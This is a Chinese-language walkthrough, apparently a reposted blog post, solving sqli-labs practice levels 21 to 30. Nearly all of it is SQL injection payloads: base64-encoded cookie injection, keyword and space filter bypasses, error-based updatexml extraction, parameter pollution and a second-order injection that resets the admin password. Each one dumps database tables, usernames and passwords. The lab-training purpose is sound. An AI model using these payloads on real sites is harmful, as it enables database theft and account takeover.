sqli-labs靶场通关(21-30)

news2024/11/25 7:42:20

Less-21

还是admin+admin登录

可以看出uname是base64加密过的,解码得到:admin。

那么本关和less-20相似,只是cookie的uname值经过base64编码了。

抓包看一下也是如此

那么我们只需要上传paylaod的时候base64加密一下就可以了

base64加密工具直接在百度上搜就行

先将单引号进行编码jw==可以发现报错

再输入payload:YWRtaW4nIGFuZCAxPTEgLS0r           //解码后为admin' and 1=1 --+

根据报错提示,要用')闭合

所以

爆库:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

//解码后:-admin') union select 1,2,database()#

接下来爆表:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

//解码后:-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆列:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==

//解码后:-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'# 

爆数据:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsaWQscGFzc3dvcmQpIGZyb20gdXNlcnMj

//解码后:-admin') union select 1,2,group_concat(username,id,password) from users# 

Less-22

本关和less-21一样需要用base64编码,只需要使用 " 代替 ') ,再加密写入cookie就行了

还是用同样的base64加密工具

爆库:LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

//解码后:-admin" union select 1,2,database()#

其他的不再细说了(已全部测试过,绝对好使

Less-23

本关又和上几关不一样了

现在还不清楚其的传参方式,看下源码:

看来本题是get传参,且其替换了能用的注释符

所以我们改用or来替换注释符进行闭合,以此构造payload并在上方url输入即可

爆库:?id=' union select 1,2,database() '

爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆数据:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less-24 

界面又变了

这次貌似是一个登录界面,我们用admin+admin可以登录成功并显示让我们修改密码

点击Logout退出登录,我们试着去注册一个新用户admin'#,密码随便写

(单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。)

登录admin'#,修改该帐号的密码,此时修改的也是admin的密码

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

假设我们修改为123456,修改成功回显如下,此时admin的密码也被修改为了123456

用admin+123456登录

登录成功

Less-25

第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可写为infoorrmation,包括password也要写成passwoorrd。

在上方url注入就可以了

爆库:?id=' union select 1,2,database() --+

爆表:?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

爆列:?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

爆数据:?id=' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+

Less-26

这关相比前几关肯定过滤了更多东西,直接查看源码:

这里id仍为get传参,但是用blacklist过滤了

查看blacklist:

将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。

%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格

我是windows系统,可能是因为apache解析不了,所以无法使用一些特殊的字符替换空格,从而就不能使用空格绕过了。但是报错注入空格使用比较少所以可以使用报错注入。

爆库:?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1))||'0

爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

爆列: ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆数据:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

Less-26a

这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有就不能用报错注入了,只能用联合,但是联合需要用到空格,windows系统又不能用特殊符号代替空格,这题就只放payload了:

爆库:

?id=1')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

爆表:

?id=1')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

爆列:

?id=1')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

爆数据:

?id=1')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

Less-27

直接看源码:

和二十六差不多,不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过

爆库:?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or'0

爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

爆列:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

爆数据:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

Less-27a

本关过滤规则也27关一样,可以使用大小写绕过或双写绕过,是双引号且页面不显示报错信息,所以无法使用报错注入,需要使用盲注和联合注入。还是那个问题,windows无法用特殊字符替换空格,直接放payload:

爆库:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

爆列:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

爆数据:?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

Less-28

查看源码:

该关卡过滤了注释符,空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用双写绕过。payload:

爆库:(这句我对照着写的,windows系统也无法确定对不对。。。)

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,database(),3%0band('1

爆表:

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1

爆列:

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆数据:

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

Less-28a

查看源码:

该关卡只过滤union+select。其他没有过滤,哇哇哇

那就直接整吧:

爆库:?id=0') uniunion selecton select 1,2,database()--+

爆表:?id=0')uniunion selecton select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+

爆列:?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+

爆数据: ?id=0')uniunion selecton select 1,2,group_concat(username,0x7e,password) from users--+

Less-29

查看源码

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

其和25关差不多且不用双写or(个人感觉)

爆库:?id=' union select 1,2,database() --+

爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆数据:?id=' union select 1,2,group_concat(username,0x7e,password) from users--+

Less-30

和29题一样,将单引号改为双引号就行了,最后再自己写一遍,就不放图了

payload:

爆库:?id=" union select 1,2,database() --+

爆表:?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列:?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆数据:?id=" union select 1,2,group_concat(username,0x7e,password) from users--+

本靶场当两关过关方式相同而只需改符号时,不建议直接复制粘贴然后改符号,这样会改变某些数值,我也不确定是不是电脑的问题,就是有时候一模一样的代码直接复制粘贴过来传上去不好使,而自己写一遍再传上去就好使了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/650200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多线程-线程的创建的方式3、4:实现Callable与线程池

JDK5.0新增线程创建方式 简要概况: 1. 创建多线程的方式三:实现Callable(jdk5.0新增的)与之前的方式的对比:与Runnable方式的对比的好处 > call()可以有返回值,更灵活 > call()可以使用throws的方式…

模板模式(十六)

相信自己,请一定要相信自己 上一章简单介绍了代理模式(十五), 如果没有看过, 请观看上一章 一. 模板模式 引用 菜鸟教程里面的 模板模式介绍: https://www.runoob.com/design-pattern/template-pattern.html 在模板模式(Template Pattern)…

简要介绍 | 三维点云配准:理论、方法与挑战

三维点云配准:理论、方法与挑战 注:”简要介绍“系列仅从概念上对某一领域进行非常简要的介绍,不适合用于深入和详细的了解 三维点云配准 是计算机视觉和机器人领域的重要课题,涉及从不同视角或时间点采集的三维点云数据之间寻找最…

面试半年,总结了 1000 道 2023 年 Java 架构师岗面试题

半年前还在迷茫该学什么,怎样才能走出现在的困境,半年后已经成功上岸阿里,感谢在这期间帮助我的每一个人。 面试中总结了 1000 道经典的 Java 面试题,里面包含面试要回答的知识重点,并且我根据知识类型进行了分类&…

Linux5.5 Mysql索引、事务与存储引擎

文章目录 计算机系统5G云计算第四章 LINUX Mysql索引、事务与存储引擎一、Mysql索引1. 索引的概念2.索引的作用3.索引的副作用4.创建索引的原则依据5.索引的分类和创建1)普通索引2)唯一索引3)主键索引4)组合索引5)全文…

验证attention是否在图像分类问题上起决定性作用

来源:投稿 作者:摩卡 编辑:学姐 Motivation 现阶段出现了大量的Transformer-style图像分类模型,并且这些模型在ImageNet上取得了不俗的成绩,这些Transformer-style模型将取得高性能的功劳归功于Multi-head attention注…

【软件设计】模块设计耦合的其中类型

一.什么是高内聚、低耦合? 在结构化分析与模块设计方法中,模块化是一个很重要的概念,它是将一个待开发的软件分解成为若干个小的模块,每个模块可以独立地开发、测试。使得复杂问题的“分而治之”,令程序的结构清晰、易…

vue3+router4的基本使用

一、安装router npm i vue-router二、路由跳转 2.1 创建路由实例 在src目录下创建router文件夹,在其中创建一个index.js文件,创建路由实例。 通过vue-router的createRouter方法创建一个router对象。其中有history和routes 1.history: histo…

微机保护的数据采集系统(2)

(二)采样保持电路(S/H)和模拟低通滤波器(ALF) 1.采样保持电路(S/H) (1)采样保持原理。 S/H电路的作用是在一个…

Linux进程间通信 - 共享内存

之前的文章中我们讲述了匿名管道与命名管道相关的知识点,在本文中我们将继续讲述一种进程间通信的方式:共享内存。 systemV共享内存 共享内存区是最快的IPC形式。一旦这样的内存映射到共享它的进程的地址空间,这些进程间数据传递不再涉及到…

Downie 4 4.6.18 MAC上最新最好用的一款视频下载工具

Downie for Mac 简介 Downie是Mac下一个简单的下载管理器,可以让您快速将不同的视频网站上的视频下载并保存到电脑磁盘里然后使用您的默认媒体播放器观看它们。 Downie 4 下载 Downie 4 for Mac Downie 4 for Mac软件特点 支持许多站点 -当前支持1000多个不同的…

间接采购管理中常见的五大挑战

间接采购,有时也被称为间接费用或尾部支出,这些商品或服务不是制造产品直接必需的,而是日常运营所需的。 ● 办公室和行政用品 ● 商店地点的消耗品(例如,清洁用品) ● 设施管理费用 ● 专业服务 ● 旅行…

Linux 服务器重启之后执行指定脚本文件

有些时候,我们部署服务、中间件、数据库等应用的机器可能会因为机房停电、断电而宕机,这样大部分服务就随之关闭了,可能会需要手动去进行重启,我们可以通过 Linux 的开机启动来实现服务自动重启。 一、配置 /etc/rc.d/rc.local 文…

VOSviewer软件的基础与应用

VOSviewer是一款免费且专业的文献计量分析软件,也是一个知识图谱可视化工具,由荷兰莱顿大学开发,主要用于构建和查看文献计量知识图谱,基于文献的共引和共被引原理,具有可视化能力强、适合于大规模样本数据的特点&…

抖音矩阵系统源代码开发部署--源码搭建

抖音矩阵系统是一个具有强大功能的开放性平台,通过数据挖掘技术能够实现精准的用户画像和个性化推荐,这也是抖音成为国内最受欢迎的短视频平台之一的原因之一。矩阵系统的开发需要大量的技术支持和数据分析,同时也需要综合运用大数据、机器学…

Mysql主从复制及读写分离

🍓 简介:java系列技术分享(👉持续更新中…🔥) 🍓 初衷:一起学习、一起进步、坚持不懈 🍓 如果文章内容有误与您的想法不一致,欢迎大家在评论区指正🙏 🍓 希望这篇文章对你有所帮助,欢…

华为OD机试 JavaScript 实现【密码验证合格程序】【牛客练习题 HJ20】,附详细解题思路

一、题目描述 密码要求: 长度超过8位包括大小写字母.数字.其它符号,以上四种至少三种不能有长度大于2的包含公共元素的子串重复 (注:其他符号不含空格或换行) 二、输入描述 一组字符串。 三、输出描述 如果符合要求输出:OK&…

A stochastic parrot in every pot 每口锅里都会有一只随机鹦鹉? | 经济学人社论双语精翻

本期双语文章来自《经济学人》2023年5月13日周报社论:《人工智能经济学》(The economics of AI) A stochastic parrot in every pot? 每口锅里都会有一只随机鹦鹉? What does a leaked Google memo reveal about the future of A…

软文营销,如何写出优质的新闻稿

传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 一,什么是软文营销? 软文营销是一种通过撰写和发布具有信息性、有趣性和可读性的文章,来推广产品、服务或品牌的营销策略。软文是指以一种较为隐晦、…

【默认端口】市面上各种中间件、软件、服务的默认端口汇总

常用软件,中间件,服务的默认端口汇总 常用软件默认端口汇总 市面上各种中间件、软件和服务的默认端口众多,下面列举一些常见的默认端口: SSH(Secure Shell):22 Telnet:23 FTP…